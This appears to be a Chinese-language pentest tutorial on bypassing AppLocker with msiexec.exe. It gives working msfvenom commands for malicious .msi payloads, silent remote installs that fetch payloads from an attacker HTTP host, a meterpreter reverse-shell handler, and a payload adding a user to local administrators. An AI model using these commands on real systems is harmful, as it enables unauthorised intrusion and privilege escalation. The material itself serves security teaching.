1. 程式人生 > >使用msiexec.exe繞過應用程序白名單(多種方法)

使用msiexec.exe繞過應用程序白名單(多種方法)

客戶端安裝 軟件包安裝 雙擊 所有 des 信息流 文章 ash class

0x00 前言

在我們之前的文章中,我們討論了“Windows Applocker策略 - 初學者指南”,因為它們為應用程序控制策略定義了AppLocker規則,以及如何使用它們。但今天您將學習如何繞過AppLocker策略。在本文中,我們使用Windows AppLocker策略阻止了“cmd.exe”文件,並嘗試繞過此限制以獲得命令提示。

0x01 Applocker適用的關聯文件格式

Windows AppLocker是在Windows 7和Windows Server 2008 R2中引入的一種安全策略,用於限制不需要的程序的使用。在這種情況下,管理員可以限制以下程序的執行:

技術分享圖片

這完全取決於系統管理員,為程序限制或執行設置AppLocker策略的程序或腳本。可能會出現命令提示符(cmd.exe)、PowerShell或dll文件或批處理文件、rundll32.exe、regsrv.32或regasm等被阻止的情況

技術分享圖片

0x02 挑戰1:使用.msi文件繞過Applocker獲取CMD

假設您處於類似的情況,所有上述應用程序都被阻止,並且只允許Windows Installer文件(即.msi擴展名)運行而不受任何限制。

那麽,您將如何使用一個msi文件來繞過這些限制並獲得一個完整的權限shell呢?

1.關於MSI文件的更多信息

MSI名稱來自程序的原始標題Microsoft Installer。從那以後,名稱改為Windows Installer。MSI文件擴展名文件是Windows軟件包安裝程序。安裝程序包

包含Windows Installer安裝或卸載應用程序所需的所有信息。每個安裝包都包含一個.msi文件,其中包含安裝數據庫、摘要信息流和安裝不同部分的數據流。

Windows Installer技術分為兩部分,它們結合使用,包括客戶端安裝程序服務(msiexec.exe)和Microsoft軟件安裝(msi)包文件。Windows Installer使用包文件中包含的信息安裝該程序。

msiexec.exe程序是Windows Installer的組件。當安裝程序調用它時,msiexec.exe使用msi.dll讀取包(.msi)文件,應用任何轉換(.mst)文件,並合並安裝程序提供的命令行選項。安裝程序執行所有與安裝相關的任務,包括將文件復制到硬盤、修改註冊表、在桌面上創建快捷方式以及顯示對話框,以便在必要時提示用戶安裝首選項。

在計算機上安裝Windows Installer時,它會更改.msi文件的已註冊文件類型,以便在雙擊.msi文件時,Msiexec.exe將與該文件一起運行。

每個MSI包文件都包含一個關系型數據庫,該數據庫存儲在許多安裝腳步中安裝(和刪除)程序所需的指令和數據。

2.獲取CMD的多種方法

(1).第一種方法:使用msfvenom生成惡意.msi文件

現在,讓我們在kali機器中打開一個新的終端,並生成一個惡意的msi包文件作為cmd.msi,通過使用windows/exec 執行exploit獲得命令提示,如下所示:
msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi
python -m SimpleHTTPServer 80

現在在Windows計算機中傳輸cmd.msi文件,以獲得命令提示符shell作為管理員。這裏我們使用了python http服務器來共享網絡中的文件。

技術分享圖片

在本地計算機上下載.msi文件後,可以使用以下語法在命令提示符下運行帶有msiexec.exe的msi文件。

語法:msiexec /quiet /i

msiexec /quiet /i C:\Users\raj\Desktop\cmd.msi

技術分享圖片

只要你在運行提示符中點擊上述命令,就會得到命令提示符。

技術分享圖片

(2).第二種方法:使用msfvenom生成惡意.msi文件

註意:即使您在另一個擴展名中重命名cmd.msi文件,它也會繞過該規則。

重復以上步驟,生成一個與msfvenom具有相同payload、並命名為cmd.png的msi文件。因為我的kali中已經有了一個cmd.msi文件,所以我將它重命名為cmd.png,並使用python服務器來傳輸它

技術分享圖片

在本地計算機(管理員阻止cmd.exe的Windows操作系統)上下載cmd.png文件(實際上是.msi文件)後,就可以使用以下語法在運行提示符內使用msiexec.exe運行.msi文件。

語法: msiexec /q /i

msiexec /q /i http://192.168.1.107/cmd.png

技術分享圖片

只要你在運行提示符中點擊上述命令,就會得到命令提示符。

技術分享圖片

(3).第三種方法:使用msfvenom生成惡意.msi文件

在上述方法中,我們通過使用windows/exec payload獲得命令提示符,但現在我們將使用windows/meterpreter/reverse_tcp payload通過meterpreter會話獲得完全權限的命令shell。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 f msi > shell.msi

現在再次在Windows計算機中傳輸shell.msi文件,以獲得命令提示符shell作為管理員並啟動multi/handler。這裏我們使用了python http服務器來共享網絡中的文件。

技術分享圖片

在本地計算機上下載了shell.msi文件(管理員阻止了cmd.exe的Windows操作系統)後,可以使用以下語法在運行提示符內使用msiexec.exe運行.msi文件。

語法: msiexec /q /i

msiexec /q /i http://192.168.1.107/shell.msi

技術分享圖片

只要您在運行提示符中點擊上述命令,您將通過使用此exploit的meterpreter會話獲得命令提示。

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.107
msf exploit(handler) > set lport 1234
msf exploit(handler) > exploit
meterpreter > shell

技術分享圖片

0x03 挑戰2:使管理員組的本地用戶成員

假設您處於類似的情況,所有上述應用程序都被阻止,並且只允許Windows Installer文件(即.msi擴展名)運行而不受任何限制。

那麽如何使用MSI文件繞過這些限制,使管理員組的本地用戶成員阻止cmd.exe運行?

註意:該aaru是本地用戶帳戶,不是非管理員用戶帳戶,如下所示:

技術分享圖片

我們知道由於applocker執行規則策略,cmd.exe在本地計算機上被阻止,因此我們無法使用命令提示符在管理員組中添加aaru。

技術分享圖片

(1).第四種方法:使用msfvenom生成惡意.msi文件

使用Windows/Exec payload生成MSI包作為admin.msi,該payload發送一條命令,指示將用戶aaru的本地管理員權限添加到目標計算機中。

msfvenom -p windows/exec CMD=net localgroup administrators aaru /add -f msi > admin.msi

現在,在Windows計算機中傳輸admin.msi文件以將aaru添加到管理員組中。這裏我們使用了python http服務器來共享網絡中的文件。

技術分享圖片

下載完本地計算機的admin.msi文件(其中,admin阻止了cmd.exe的Windows操作系統)後,可以使用以下語法在運行提示符內運行帶有msiexec.exe的admin.msi文件

語法:msiexec /q /i

msiexec /q /i http://192.168.1.107/admin.msi

技術分享圖片

只要您在運行提示符中點擊上述命令,就可以確保aaru用戶已成為管理員帳戶的一部分。

技術分享圖片

希望您清楚地了解如何使用.msi文件來破壞管理員阻止cmd.exe和其他應用程序的操作系統。

希望您能清楚地認識到,如何使用.msi文件來繞過操作系統執行,在該系統中,cmd.exe和其他應用程序被管理員阻止。

參考文獻:

https://support.microsoft.com/en-gb/help/310598/overview-of-the-windows-installer-technology

https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

使用msiexec.exe繞過應用程序白名單(多種方法)